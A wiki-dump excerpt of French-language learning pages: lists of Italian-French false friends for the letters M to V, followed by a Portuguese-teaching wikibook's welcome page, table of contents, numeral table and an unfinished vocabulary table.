''morso'' : morsure, bouchée; mors (cheval) ; mors (tenaille) ** morse (zoologie) : ''tricheco'' ** morse (alphabet) : ''morse'' * ''mossa'' : mouvement, geste ; manœuvre (au figuré) ; coup (aux échecs) ** mousse : ''schiuma, spuma'' ** mousse (botanique) : '' muschio'' ** mousse (marin) : ''mozzo'' ** mousse (cuisine) : ''spuma, mousse'' * ''mostra'' : étalage, parade ; exposition, devanture * ''mostro'' : monstre * ''mota'' : boue ** motte : ''zolla, monticello'' ** motte (de beurre - de terre) : ''pan (di burro - di terra)'' * ''moto'' : mouvement ; moto(cyclette) * ''motto'' : mot d'esprit, boutade ; devise (maxime) * ''mulo'' : mulet ** mulot : ''topo campagnolo'' * ''multa'' : amende Faux-amis italiens N O 861 29949 2006-01-23T12:59:56Z Boly38 136 +titre ===Faux amis en italien (N,O)=== * ''nappa'' : pompon ; gland ; pomme d'arrosoir ; nez (fam) ** nappe : ''tovaglia'' * ''nave'' : navire ** navet : ''rapa'' * ''negozio'' : magasin, commerce, affaire ** négoce : ''commercio'' * ''neo'' : grain de beauté * ''neve'' : neige ** névé : ''nevaio'' * ''noce'' : noix ** noce : ''nozze'' (pl) * ''nome'' : prénom ; nom (pas le nom de famille) ; réputation ** nom de famille : ''cognome'' * ''nonna'' : grand-mère ** nonne : ''monaca'' * ''notizia'' : nouvelle (information), note (information) ** notice : ''cenno, avvertenza'' * ''noto, nota'' : connu, -ue ** note : ''nota, appunto, conto'' (l'addition), ''bolletta, voto'' (scol) * ''nubile'' : célibataire (fém) ** nubile : ''in età matrimoniabile'' * ''numero'' : nombre ; pointure ; immatriculation ; numéro * ''occupazione'' : emploi ; occupation * ''officina'' : usine, atelier ** officine : ''laboratorio farmaceutico'' * ''offuscare'' : ternir, estomper, brouiller ** offusquer : ''indisporre, contrariare, offendersi'' * ''ombrella'' : parapluie ** ombrelle : ''ombrellino, parasole'' * ''onda'' : vague ; onde * ''onde'' : d'où; ondes * ''ondata'' : vague ** ondée : ''acquazzone'' * ''opera'' : ouvrage, œuvre ; opéra * ''opinione'' : avis, opinion; réputation : ''godere buona opinione'' * ''orma'' : trace, empreinte ** orme : ''olmo'' * ''ossequio'' : respect, hommage ** obsèques : ''esequie, funerale'' * ''oste'' : patron du bistrot, aubergiste ** hôte : ''ospite'' [[Catégorie:Italien]] Faux-amis italiens P Q R 862 29952 2006-01-23T13:01:20Z Boly38 136 +titre ===Faux amis en italien (P à R)=== * ''paesano'' : du pays, villageois ** paysan : ''contadino'' * ''pagaia'' : pagaie ** pagaille : ''confusione, caos, scompiglio'' * ''palazzo'' : immeuble, édifice, hôtel particulier; palais ** palais (anat) : ''palato'' * ''panna'' : crème; panne ** panne : ''il guasto'' * ''panno'' : drap (étoffe) ** panneau : ''pannello, cartello'' * ''pappa'' : bouillie * ''papa'' : le pape ** papa : ''papà, babbo'' * ''parcella'' : honoraires ** parcelle : ''particella'' * ''pari'' : pair, égal ; ''al pari di'' = de même que ** pari : ''scommessa'' * ''parola'' : parole, mais aussi : mot * ''parroco'' : curé ** perroquet : ''pappagallo'' * ''parte'' : part, partie; direction; rôle (ruolo * ''parto'' : accouchement ** parti : ''partito'' * ''parteggiare'' : prendre parti ** partager : ''dividere, spartire'' * ''partire'' : partir, mais aussi : partager * ''passero'' : moineau ** passereau : ''passeraceo'' * ''pasta'' : pâte ; petits gateaux (''paste dolci'') ; pâtes (spaghetti, ...) * ''pasto'' : repas * ''pasticca'' : pastille * ''pasticcio'' : pastis, embrouillamini, gachis ** pastiche : ''imitazione, pasticcio, pastiche'' * ''patente'' : permis (de chasse, de conduire); brevet, diplôme ** patente : ''tassa d'esercizio'' * ''patrono'' : patron (saint protecteur) ; sponsor ; défenseur (droit) * ''padrone'' : patron, employeur, maître ** patron (couture) : ''modello'' * ''pauroso'' : peureux; épouvantable (qui inspire la frayeur) * ''pavone'' : paon ** pavot : ''papavero'' * ''pelle'' : peau, cuir * ''palla'' : balle * ''palo'' : poteau ** pelle : ''la pala, badile'' ** pâlot : ''pallidino, palliduccio'' * ''penale'' : pénal; pénitentiaire * ''penale'' : amende; astreinte * ''pendere'' : pendre, être suspendu; être pendant; pencher (''la torre pendente'') ** pendre : ''appendere, attacare'' (suspendre) ; ''impiccare'' (à la potence) * ''pensata'' : idée, trouvaille * ''pensiero'' : pensée, souci ** pensée (bot) ''viola del pensiero'' * ''pensionato'' : pensionné, retraité; pensionnat * ''pensione'' : pension, retraite (''essere in pensione'' : en retraite, ''a pensione'' : en pension) * ''pentola'' : casserole * ''pendulo'' : pendant (qui pend) ** pendule : ''pendolo'' ** pendule (horloge) : ''pendola'' ** pendule (radiesthésiste) : ''pendolino'' * ''permanenza'' : permanence ; séjour; ''buona permanenza'' ! * ''pertanto'' : donc, aussi ** pourtant : eppure *''pertinenze'' : dépendances (pl) ''di una casa'' ** pertinence : ''pertinenza'' * ''pessimo'' : très mauvais ** pessimiste : ''pessimista'' * pesta : trace, empreinte ** peste : peste * ''pestare'' : piler, écraser ** pester : ''imprecare'' * ''pestilenza'' : peste, fléau, calamité; pestilence * ''piano'' : étage; plan; piano (''pianoforte''); plaine (''pianura'') * ''piano'' : plan, plat, uni * ''piano'' : doucement * ''pianto'' : larme, deuil * ''pianta'' : plante, arbre; plan (d'une ville); semelle (''suola'') ** plant : ''piantina, pianticella; piantagione'' * ''picchiare'' : battre, frapper ** piquer : ''pungere, pizzicare'' * ''piena'' : crue, inondation ; foule ; pleine * ''pieno'' : plein * ''pietanza'' : mets, plat de résistance ** pitance : ''mangiare, vitto, sbobba'' * ''pigione'' : loyer * ''piccione'' : pigeon * ''pigliare'' : prendre, attrapper * ''pillare'' : pilonner ** piller : ''saccheggiare'' * ''pigro'' : paresseux ** pingre : ''spilorcio, tirchio'' * ''placare'' : calmer, apaiser * ''placcare'' : plaquer (un métal) ** plaquer (bois) : ''impiallacciare'' ** plaquer (appliquer) : ''applicare'' ** plaquer (rugby) : ''placcare'' ** plaquer (familier) : ''piantare'' * ''plagiare'' : envoûter. plagier * ''plagio'' : envoûtement * ''pollice'' : pouce * ''pulizia'' : propreté * ''polizia'' : police * ''polizza'' : police (d'assurance); reconnaissance, reçu * ''poltrona'' sf fauteuil * ''poltrone'' : paresseux, fainéant ** poltron : ''codardo, vigliaco'' * ''ponte'' : pont ** ponte : ''deposizione delle uova'' * ''porcheria'' : saleté, cochonnerie ** porcherie : ''porcile, porcilaio'' * ''portiere'' sm portier (d'hôtel); gardien de but * ''portiera'' : portière; tenture; concierge (''portinaia'') * ''posto'' : place; lieu, endroit; poste * ''posta'' sf poste; courrier; mise, enjeu; affût * ''potare'' : tailler * ''potenza'' : puissance ** potence(gibet): ''forca'' ** potence (technologie) : ''mensola'' * ''pozione'' : potion ** poison : ''veleno'' * ''precisione'' : précision, clarté * ''precisazione'' : précision, explication * ''preside'' : proviseur; doyen (de faculté) * ''presidio'' : garnison, protection, rempart; instruments (''presidi chirurgici'') * ''presidiare'' : occuper, tenir; mettre en garnison ** présider : ''presiedere'' * ''pressi'' (''nei'') : aux environs * ''presso'' : chez, dans, à ** pressé : ''spremuto; affrettato, frettoloso ; urgente'' * ''presto'' : bientôt, vite, tôt ** prêt : ''pronto; prestito, mutuo'' * ''prima'' : avant, auparavant ** prime : ''premio'' * ''primario'' : primaire; de premier ordre; capital, extrême * ''primario'' : médecin-chef ** primaire : ''primario, semplistico, rudimentale'' * ''primate'' : primat (église) ; primate (pl. ''primati'') * ''primato'' : primat, primauté ; record * ''primavera'' : printemps ** primevère : ''primula'' * ''primitivamente'' : d'une façon primitive ** primitivement : ''in origine, originariamente'' * ''principe'' : prince * ''principio'' : principe; origine, commencement ; hors d'œuvre (''principi'') * ''procedere'' : s'avancer; procéder à; provenir de; poursuivre, continuer; * ''professionale'' : professionel ** professionel : ''professionalista'' * ''profittare'' : faire des progrès ; profiter ** profiter : approffittare * ''profitto'' : profit (''profitto, vantaggio; guadagno'') ; progrès * ''promosso'' : promu; encouragé * ''proprio'' : propre, son, sa (3e pers ou impers) * ''proprio'' : justement, précisément; juste, vraiment ** propre : ''pulito, lindo'' * ''prospettiva'' : perspective ** prospective : ''futurologia'' * ''protagonista : protagoniste ; personnage principal (film) * ''provare'' : essayer, goûter; éprouver; prouver (dimostrare) * ''pruno'' : ronce, épine * ''prugna, prugno'' : prune, prunier * ''pugno'' : poing, poignée ** poignet : ''polso, polsino'' * ''puntata'' : excursion, virée, saut; épisode; mise ** pointe : ''punta'' * ''pure'' : aussi, même, pourtant, néanmoins ** pur, pure : ''puro, pura'' * ''quadro'' : tableau; carré, carreau, cadre (dirigeant) ** cadre (tableau) : ''cornice'' ** cadre (vélo) : ''telaio'' ** cadre (au figuré) : ''contesto'' * ''quel'' : ce ** quel : ''che, quale'' * ''querela'' : plainte ** querelle : ''lite, disputa, litigio'' * ''querellare'' : déposer une plainte ** se quereller : ''litigare'' * ''qui, qua'' : ici ** qui pr rel ''chi, che, il quale'' * ''quota'' : altitude, hauteur; part, quote-part (''aliquota'') * ''raccomodare : réparer, arranger ; raccommoder (''rammendare ; rappacificare'') * ''riaccomodare'' : arranger de nouveau ; se réconcilier * ''radice'' : racine ** radis : ''ravanello'' * ''rado, rada'' : rare, clairsemé * ''rada, rade'' : rade ** radeau : ''zattera'' * ''raffreddore'' : rhume ** rafraîchissement : ''rinfresco'' * ''raggio'' : rayon ** rage : ''rabbia'' * ''ragioniere'' : comptable * ''ragionatore'' : personne qui raisonne juste; discoureur * ''rama'' : rameau * ''rame'' : cuivre * ''ramo'' : branche, rameau ** rame : ''remo'' (aviron) ; ''ramoscello''(branche) ; ''convoglio'' (convoi) ; ''risma'' (papier) * ''rapa'' : navet, rave ** râpe (fromage) : ''grattugia ** râpe (technologie) : ''raspa'' * ''rata'' : échéance, terme ; mensualité, verst échelonné * ''ratto'' : rapt; rat (''topo'') ** rate (anatomie) : ''milza'' ** rate (animal) : ''topo femmina'' ** rateau : ''rastrello'' * ''ravvisare'' : reconnaître (quelqu'un); estimer, considérer ** se raviser : ''cambiare parere, mutare consiglio'' * ''reddito'' : revenu ** redit : ''ridetto'' * ''reduce'' : de retour; vétéran ** réduit : ''ridotto; nicchia, bugigattolo'' * ''referenze'' (gall) : références (prof) (''buoni attestati'') ** référence : ''riferimento'' (rappel, allusion, renvoi) * ''refuso'' : coquille (typo.) ** refus (déchet) : ''rifiuto'' * ''regalo'' : cadeau * ''regale'' : royal (''reale'') * régal : ''delizia, godimento'' ''rendere'' : rendre, rapporter, produire; ''rendersi per vinto'' = s'avouer vaincu * rendre : ''restituire, ridare'' ** se rendre : ''recarsi'' (aller); ''arrendersi'' (à l'ennemi); costituirsi (à la justice) * ''reperire'' : trouver, retrouver ** repérer : ''individuare, localizzare'' * ''reuma'' : rhumatisme * ''rum'' : rhum ** rhume : ''raffreddore'' * ''riccio'' : frisé, bouclé ** riche : ''ricco'' * ''ricetta'' : recette (plat); * ''ricetto'' : asile, refuge ** recette (compta) : ''incasso, introito, entrata'' * ''ricordo'' : souvenir ** record : ''primato; record'' * ''ricovero'' : hospitalisation; refuge ** recouvrement (somme) : ''ricossione, esazione'' * ''rigido'' : dur, sévère (climat), rigide * ''riguardo'' : égard; regard, vue ** regard : ''sguardo, occhiata; spia'' * ''rilevante'' : considérable, important ** relever : ''rialzare; dipendere; rilevare'' * ''riparo'' : abri, refuge ** repaire : ''tana, cova'' * ''riscossa'' : revanche, révolte; rescousse ** rescousse : ''riscossa, aiuoto, soccorso'' * ''riso'' : rire ou riz * ''risposta'' : réponse ** riposte : ''replica, rimbecco'' * ''ritratto'' : portrait ** retrait : ''ritiro, rientranza, retratto'' * ''roba'' : biens, affaires (objets) ** robe : ''vestito'' (''da donna'') * ''rodere'' : ronger; manger (fam) * ''rodare'' : roder (un moteur) ** rôder : ''girare attorno, vagare, errare'' * ''romanesco'' : dialecte de Rome * ''romanico'' : roman (archi) * ''romanzo'' : roman (lit) ; roman (langue) ** romanesque : ''romanzesco'' * ''rondine'' : hirondelle ** rondin : ''tronco scortecciato, tondello'' * ''rozzo'' : grossier ** roseau : ''canna'' * ''ruggire'' : rougir ** rougir : ''arrossire'' * ''rugoso'' : ridé, plissé; rugueux (''ruvido'') ** rugueux : ''ruvido'' * ''rumore'' : bruit ** rumeur : ''brusio, clamore; voce (pubblica'' Faux-amis italiens S T 863 29950 2006-01-23T13:00:23Z Boly38 136 +titre ===Faux amis en italien (S,T)=== *''saggio'' : échantillon ; essai, épreuve ; taux **sage : ''savio, saggio'' * ''sala'' : salle ; essieu ; laiche (botan) * ''sale'' : sel ** sale : ''sporco, sudicio'' ** salé : ''salato, piccante'' * ''salire'' : monter ** salir : ''sporcare'' * ''salone'' : grande salle ; salon (exposition) ** salon (logement) : ''salotto'' * ''salute'' : santé ; salut (secours) ** salut (salutation) : ''saluto'' * ''sanguine'' : orange (sanguine) ** sanguin : ''sanguigno'' * ''sasso'' : pierre, caillou, rocher ** saxo(phone) : ''sassofono'' * ''scadenza'' : échéance ** cadence : ''cadenza'' * ''scegliere'' : choisir ** sceller : ''sigillare, sugllare'' * ''scenario'' : décor ; scénario (conforme à un plan) ** scénario : ''sceneggiatura, copione, soggetto'' * ''sci'' : ski * ''scia'' : sillage ** scie : ''sega'' * ''scimmia'' : singe ** chimie : ''chimica'' * ''sconquassare'' : disloquer, fracasser, abîmer, éreinter ** concasser : ''frantumare, macinare'' * ''seccatore'' : casse-pieds (fam) ** sécateur : ''cesoie, forbici da potare, potatoio a forbice'' * ''sedare'' : calmer, apaiser ** céder : ''cedere, vendere'' * ''segnare'' : marquer, noter ** signer : ''firmare, siglare'' * ''semaforo'' : feux tricolores ; sémaphore * ''sentire'' : entendre ; sentir (éprouver) * ''sermento'' : sarment ** serment : ''giuramento'' * ''serpe'' : serpent ** serpe : ''ronca, roncola, falcetto'' * ''seta'' : soie * ''setta'' : secte * ''sete'' : soif * ''setto'' : (anat) septum ; cloison ** sept : ''sette'' * ''sindaco'' : maire ; commissaire aux comptes ** syndic : ''curatore, procuratore, amministratore'' * ''sino'' : jusqu'à (''fino a'') ** sinon : ''se non, altrimenti'' * ''sognare'' : rêver ** songer : ''pensare, fantasticare'' * ''sogno'' : rêve * ''sonno'' : sommeil ** son : ''suono ; crusca'' * ''sole'' : soleil ** sole (poisson) : ''sogliola'' ** sol : ''suolo'' * ''solletico'' : chatouille * ''sollecito'' : prompt, soigneux, soucieux * ''somigliare'' : ressembler ** sommeiller : ''sonnecchiare, dormicchiare'' * ''sorpassare'' : dépasser ** surpasser : ''superare'' * ''sorte'' : sort, destin, hasard ** sorte : ''specie, genere, sorta'' * ''sostenitore'' : partisan, défenseur ** souteneur : ''protettore, ruffiano'' * ''sostituto'' : remplaçant ; subsitut * ''sottile'' : mince, fin; subtil (''fino, accorto'') * ''speziale'' : pharmacien, épicier ** spécial : ''speciale'' * ''spezie'' : épices ; espèce * ''specie'' : espèce * ''in specie'' : particulièrement, surtout * ''spogliare'' : déshabiller ; dépouiller * ''stabile'' : stable; immeuble * ''stagno'' : étanche; étain ; étang ** stagnant : ''stagnante'' * ''stalla'' : étable, écurie * ''stallo'' : stalle (église) ; box, stalle (écurie) * ''stanza'' : pièce, chambre ; cercle, club ; stance ; ''regimento in stanza'' : en garnison * ''stella'' : étoile * ''stelo'' sm tige ** stèle : ''stele'' * ''stilare'' : dresser (liste), rédiger * ''stillare'' : distiller ** styliser : ''stilizzare'' * ''stirare'' : repasser ; étirer (''tendere'') * ''strumentare'' : harmoniser * ''studio'' : étude, bureau ** studio (appart) : ''monolocale'' ** studio (enregistrement) : ''sala (registrazione)'' * ''stupito'' : étonné ** stupide : ''stupido'' * ''stupore'' : stupeur ; merveille * ''su'' : sur, dessus, en haut ** sous : ''sotto'' * ''subito'' : tout de suite, aussitôt ** subit (-ement) : ''improvviso'' (''-amente'') * ''succedere'' : arriver, avoir lieu, se passer ; succéder à * ''successivamente'' : successivement (l'un apès l'autre) ; ensuite, dans la suite * ''successivo'' : suivant ; successif (qui se suit) * ''successo'' : événement, résultat, issue; succès ; ''cattivo successo'' = échec * ''sudare'' : suer, transpirer ** souder : ''saldare'' * ''suggerire'' : souffler, suggérer * ''suolo'' : sol * ''suola'' : semelle * ''suora'' : religieuse ** sœur : ''sorella'' * ''superficie'' : surface; superficie (''area'') * ''supplica'' : supplique, requête, supplication * ''supplice'' : suppliant * ''supplizio'' : supplice ** supplicié : ''giustiziato'' * ''svelto'' : arraché (''svellere'') * ''svelto'' : agile, leste ; prompt, rapide ** svelte : ''snello, slanciato'' * ''tanto'' : tant, tellement ; autant (que) * ''tanto, tanta'' : nombreux -ses ** tant que : ''finché'' ** tante : ''zia'' * ''tappa'' : étape * ''tappo'' : bouchon, bonde ** tape : ''pacca, manata'' ** tapis : ''tapetto'' * ''taso'' : tartre ** tas : ''mucchio, ammasso'' * ''tassa'' : taxe, droits, impôts * ''tassi'' : taxi * ''tasso'' : taux ; blaireau ; if ** tasse : ''tazza, tazzina'' ** tasseau : ''tassello'' * ''tema'' : crainte * ''tèma'' : thème, sujet, composition * ''temperare'' : tailler (crayon) ; tempérer * ''tendone'' : bâche, chapiteau ** tendon : ''tendine'' * ''tenore'' : teneur ; train, niveau (de vie) * ''terme'' : thermes * ''termine'' : terme ; délai; borne * ''terso'' : limpide, clair * ''terzo'' : troisième, tertio (''in terzo luogo'') * ''testardo'' : têtu, entêté ** têtard : ''girino'' * ''tetro'' : sombre, triste ** titre : ''titolo'' * ''timbro'' : timbre ; cachet de la poste ** timbre (poste) : ''francobollo'' * ''tondare'' : arrondir ** tondre : ''tosare, cimare'' * ''tonno'' : thon * ''tono'' : ton * ''tuono'' : tonnerre ** tonneau : ''botte'' ** tonneau (voiture) : ''ribaltamento'' ** tonne : ''tonnellata ; grossa botte'' * ''tornare'' : revenir, retourner, rentrer; redevenir; être exact (torna il conto) * ''tornire'' : tourner, fabriquer au tour ** tourner : ''girare, voltare, volgere'' * ''tradimento'' : trahison ** traitement : ''trattamento ; stipendio'' * ''tradire'' : trahir * ''tradurre'' : traduire ** traduire : ''chiamare'' (en justice), ''esprimere, manifestare'' * ''traghetto'' : bac, ferry ; passage, traversée; intrigue * ''tragitto'' : trajet * ''trampoli'' : échasses ** tremplin : ''trempolino'' * ''trave'' : poutre ** travée : ''campata'' * ''tristo, trista'' : méchant, mauvais, piètre ; pervers ** triste : ''triste'' * ''trucco'' : truc (''aggeggio'') ; maquillage * ''truffa'' : escroquerie, vol ** truffe : ''tartufo'' ** truffe (chocolat) : ''truffe'' * ''tuffo'' : plongeon ; piqué (avion) * ''tufo'' : tuf ** touffe : ''ciuffo'' ** touffu : ''folto, fitto'' * ''turbine'' : tourbillon; nuée * ''turbina'' : turbine * ''tuta'' : bleu, salopette ** tout, toute : ''tutto, tutta'' Faux-amis italiens U V 864 29951 2006-01-23T13:00:48Z Boly38 136 +titre ===Faux amis en italien (U,V)=== * ''unto, unta'' : graisseux, -euse * ''unto'' : graisse, oint ** honte : ''onta, vergogna'' * ''usare'' : user de, se servir, employer, utiliser ; avoir l'habitude de ; fréquenter ; être en usage ** user : ''logorare, consumare'' * ''uso '' : usage, us (coutume); emploi * ''uso'' : habitué (''non son uso'' = je n'ai pas l'habitude de) ** usé : ''logorato, consumato, sciupare'' * ''utile'' : utile * ''utile'' : avantage, profit; bénéfice * ''vago'' : charmant ; vague * ''valle'' : lagune morte; vallée * ''valso, valsa : valu (pp de ''valere'') ** valse : ''valzer'' * ''vasca'' : vasque ; bassin ; baignoire * ''vedetta'' : vedette; sentinelle * ''alla vedetta'' = à l'affût * ''velo'' : voile ** vélo : ''bicicletta, bici'' * ''ventenne'' : qui a vingt ans * ''ventennio'' : durée de vingt ans * ''ventina'' : vingtaine * ''ventilare'' : ventiler, aérer ; vanner (blé); proposer, discuter ''ventilare la possibilità di'' ** ventiler : ''spartire, ripartire, valutare separatamente'' * ''verbale'' : verbal ; procès-verbal * ''verdura'' : légumes ** verdure : ''verde, vegetazione'' * ''verificare'' : vérifier * ''verificarsi'' : se produire, avoir lieu, se varifier * ''vernice'' : vernis, peinture, matière colorante ** vernis : ''vernice, smalto'' * ''vero, vera'' : vrai, vraie * ''verro'' : verrat * ''verrò'' : je viendrai (1re p. indicatif futur de ''venire'') ** verre (en général), vitre : ''vetro'' ** verre (à boire) : ''bicchiere'' ** ver : ''verme'' * ''versatile'' : éclectique, universel ** versatile : ''volubile, incostante'' * ''verso'' : cri (animal); vers (poésie) ; verso ** verso : ''retro, tergo'' * ''veste'' : robe, vêtement; aspect, apparence ; qualité (''in veste di'') ** veste : ''giacca, giacchetta'' ** veste (au figuré) : ''insuccesso, scacco'' * ''vestiario'' : habillement, vêtements ** vestiaire : ''guardaroba, spogliatoio'' * ''vice'' : adjoint ** vice : ''vizio'' * ''vigile'' : attentif, agent de police ** vigile (veille) : ''vigilia'' ** vigile (garde) : ''guardia notturna'' * ''villano'' : villageois, rustre ** vilain : ''cattivo, brutto'' * ''vinaccia'' : marc de raisin ** vinasse : ''vinaccio'' * ''virtu'' : don, qualité ; vertu * ''virtuoso'' : vertueux ; virtuose * ''vischio'' : gui ** visqueux : ''viscoso, viscido, vischioso'' * ''viso'' : visage ** visa : ''visto'' * ''vita'' : vie ; taille * ''vite'' : vis, vigne ; vrille * ''vitto'' : nourriture ** vite : ''presto, in fretta'' * ''vivace'' : vif ** vivace (au figuré) : ''tenace, persistente'' ** vivace (musique) : ''vivace'' ** vivace (botanique) : ''vivave'' * ''vocabolario'' : dictionnaire, vocabulaire * ''voce'' : voix, cri ; suffrage ; réputation ; vocable, terme ; rubrique, élément d'une liste * ''volere'' : vouloir ** voler (dans l'air) : ''volare'' ** voler (dérober) : ''rubare, derobare'' * ''volto'' : visage * ''volta'' : fois ; voûte ** volt : ''volt'' * ''volubile'' : volage, changeant ; volubile (botanique) ** volubile : ''loquace'' * ''voto'' : note (école) ; voeu ; vote Enseignement du portugais Boas-vindas 865 27407 2005-12-22T22:03:51Z Greudin 1 Guinée-Bissau <center> <big>'''Boas-vindas'''</big><br> <small>''Bienvenue''</small> </center> <table border="0" cellpadding="5" cellspacing="0" align="center"> <tr> <td>[[Image:Brazil_flag_medium.png|bandeira de Brasilien]]</td> <td>[[Image:Portugal_flag_medium.png|bandeira de Portugal]] </td> <td>[[Image:Angola_flag_medium.png|bandeira de Angola]] </td> <td>[[Image:Mozambique_flag_medium.png|bandeira de Mozambique]] </td> </tr> <tr> <td><small>[[w:Brésil|Brésil]]</small></td> <td><small>[[w:Portugal|Portugal]]</small></td> <td><small>[[w:Angola|Angola]]</small></td> <td><small>[[w:Mozambique|Mozambique]]</small></td> </tr> <tr> <td>[[Image:Guinea_bissau_flag_medium.png|bandeira de Guinea Bissau]] </td> <td>[[Image:East_timor_flag_medium.png|bandeira de Timor-Leste]] </td> <td>[[Image:Cape_verde_flag_medium.png|bandeira de Cabo Verde]] </td> <td>[[Image:SãoTomé_and_P_flag_medium.png|bandeira de São Tomé and Príncipe]] </td> </tr> <tr> <td><small>[[w:Guinée-Bissau|Guinée-Bissau]]</small></td> <td><small>[[w:Timor oriental|Timor oriental]]</small></td> <td><small>[[w:Cap-Vert|Cap-Vert]]</small></td> <td><small>[[w:Sao Tomé-et-Principe|Sao Tomé-et-Principe]]</small></td> </tr> </table> <center><big>'''[[Portugais|ao compêndio]]'''</big><br><small>''au livre''</small></center> Portugais 866 27412 2005-12-22T22:17:14Z Greudin 1 couverture, carte [[Image:Map-Lusophone World.png|thumb|right|550px|Lusophones]] *[[Enseignement du portugais Boas-vindas|Boas-vindas]] - Bienvenue (couverture du wikilivre) ==Índice - Table des matières== # [[Enseignement du portugais: artigo|Os artigos]] - Les articles # [[Enseignement du portugais: plural|O plural]] - Le pluriel # [[Enseignement du portugais: pronomes|Os pronomes]] - Les pronoms # [[Enseignement du portugais: verbos|Os verbos]] - Les verbes # [[Enseignement du portugais: numerais|Os numerais]] - Les nombres # [[Enseignement du portugais: negação|A negação]] # [[Enseignement du portugais: preposicões|As preposicões]] # [[Enseignement du portugais: interrogativos|Os interrogativos]] # [[Enseignement du portugais: imperativo|O imperativo]] - L'imperatif # [[Enseignement du portugais: voz_passiva|A voz passiva]] - La voix passive # [[Enseignement du portugais: futuro|O futuro]] - Le futur # [[Enseignement du portugais: passados|O passado]] - Le passé # [[Enseignement du portugais: condicional|O condicional]] # [[Enseignement du portugais: subjuntivo|O subjuntivo]] - Le subjonctif # [[Enseignement du portugais: pronunciaciação|A pronunciação]] - La prononciation # [[Enseignement du portugais: vocabulário|O vocabulário]] - Le vocabulaire # [[Enseignement du portugais: Lição_1|Lição 1]] # [[Enseignement du portugais: Lição_2|Lição 2]] # [[Enseignement du portugais: Lição_3|Lição 3]] [[de:Portugiesisch: Übersicht]] [[en:Portuguese:Contents]] [[pt:Português:Índice]] [[catégorie:Langue]] Enseignement du portugais: numerais 867 12525 2004-11-09T15:53:20Z Yann 2 depuis en: ===Os numerais=== <table border="1" bgcolor="#00AAFF"> <tr> <td>Cardinais</td> <td>Ordinais</td></tr> <tr> <td>0 zero</td> <td></td></tr> <tr> <td>1 um, uma</td> <td>1o./1a. primeiro/primeira</td></tr> <tr> <td>2 dois, duas</td> <td>2o./2a. segundo/segunda</td></tr> <tr> <td>3 três</td> <td>3o./3a. terceiro/terceira</td></tr> <tr> <td>4 quatro</td> <td>4o./4a. quarto/quarta</td></tr> <tr> <td>5 cinco</td> <td>5o./5a. quinto/quinta</td></tr> <tr> <td>6 seis</td> <td>6o./6a. sexto/sexta</td></tr> <tr> <td>7 sete</td> <td>7o./7a. sétimo/sétima</td></tr> <tr> <td>8 oito</td> <td>8o./8a. oitavo/oitava</td></tr> <tr> <td>9 nove</td> <td>9o./9a. nono/nona</td></tr> <tr> <td>10 dez</td> <td>10o./10a. décimo/décima</td></tr> <tr> <td>11 onze</td> <td>11o. décimo primeiro</td></tr> <tr> <td>12 doze</td> <td>12o. décimo segundo</td></tr> <tr> <td>13 treze</td> <td>13o. décimo terceiro</td></tr> <tr> <td>14 quatorze</td> <td>14o. décimo quarto</td></tr> <tr> <td>15 quinze</td> <td>15o. décimo quinto</td></tr> <tr> <td>16 dezesseis</td> <td>16o. décimo sexto</td></tr> <tr> <td>17 dezessete</td> <td>17o. décimo sétimo</td></tr> <tr> <td>18 dezoito</td> <td>18o. décimo oitavo</td></tr> <tr> <td>19 dezenove</td> <td>19o. décimo nono</td></tr> <tr> <td>20 vinte</td> <td>20o. vigésimo</td></tr> <tr> <td>21 vinte e um</td> <td>21o. vigésimo primeiro</td></tr> <tr> <td>22 vinte e dois</td> <td>22o. vigésimo segundo</td></tr> <tr> <td>30 trinta</td> <td>30o. trigésimo</td></tr> <tr> <td>40 quarenta</td> <td>40o. quadragésimo</td></tr> <tr> <td>50 cinqüenta</td> <td>50o. quinquagésimo</td></tr> <tr> <td>60 sessenta</td> <td>60o. sexagésimo</td></tr> <tr> <td>70 setenta</td> <td>70o. septuagésimo</td></tr> <tr> <td>80 oitenta</td> <td>80o. octogésimo</td></tr> <tr> <td>90 noventa</td> <td>90o. nonagésimo</td></tr> <tr> <td>100 cem, cento</td> <td>100o. centésimo</td></tr> <tr> <td>200 duzentos</td> <td>200o. duocentésimo</td></tr> <tr> <td>300 trezentos</td> <td>30o. trecentésimo</td></tr> <tr> <td>400 quatrocentos</td> <td>400o. quadringentésimo</td></tr> <tr> <td>500 quinhentos</td> <td>500o. quingentésimo</td></tr> <tr> <td>600 seiscentos</td> <td>600o. seiscentésimo</td></tr> <tr> <td>700 setecentos</td> <td>700o. septingentésimo</td></tr> <tr> <td>800 oitocentos</td> <td>800o. octingentésimo</td></tr> <tr> <td>900 novecentos</td> <td>900o. nongentésimo</td></tr> <tr> <td>1000 mil</td> <td>1000o. milésimo</td></tr> <tr> <td>10.000 dez mil</td> <td>10000o. dez milésimos</td></tr> <tr> <td>100.000 cem mil</td> <td>100000o. cem milésimos</td></tr> <tr> <td>1.000.000 um milhão</td> <td>1000000o. milionésimo</td></tr> <tr> <td>1.000.000.000 um bilhão</td> <td>1000000000o. bilionésimo</td></tr> <tr> <td>1.000.000.000.000 um trilhão</td> <td>1000000000000o. trilionésimo</td></tr> </table> ==Liens externe== [http://amor.cms.hu-berlin.de/~h0444e1w/vokeng.htm Tous les numéraux dans un fichier à apprendre] Enseignement du portugais: vocabulário 868 24478 2005-10-28T18:01:25Z Erasmus 194 <table border="1" bgcolor="#00AAFF"> <tr> <td>'''Os dias da semana'''</td> <td>'''Os meses do ano'''</td> <td>'''As estações do ano'''</td> <td>'''As cores'''</td> <tr> <td><small>(Les jours de la semaine)</small></td> <td><small>(Les mois de l'année)</small></td> <td><small>(Les saisons)</small></td> <td><small>(Les couleurs)</small></td> <tr> <td>domingo <small>(dimanche)</small></td> <td>janeiro <small>(janvier)</small></td> <td>primavera <small>(hiver)</small></td> <td style="background:#000000; color:#FF0000; padding:5px;">vermelho</td> <tr> <td>segunda-feira <small>(lundi)</small></td> <td>fevereiro <small>(février)</small></td> <td>verão <small>(été)</small></td> <td style="background:#FFFFFF; color:#0000FF; padding:5px;">azul</td> <tr> <td>terça-feira <small>(mardi)</small></td> <td>março <small>(mars)</small></td> <td>outono <small>(automne)</small></td> <td style="background:#000000; color:#00FF00; padding:5px;">verde</td> <tr> <td>quarta-feira <small>(mercredi)</small></td> <td>abril <small>(avril)</small></td> <td>inverno <small>(hiver)</small></td> <td style="background:#000000; color:#FFFF00; padding:5px;">amarelo</td> <tr> <td>quinta-feira <small>(jeudi)</small></td> <td>maio <small>(mai)</small></td> <td></td> <td style="background:#000000; color:#FFFFFF; padding:5px;">branco</td> <tr> <td>sexta-feira <small>(vendredi)</small></td> <td>junho <small>(juin)</small></td> <td></td> <td 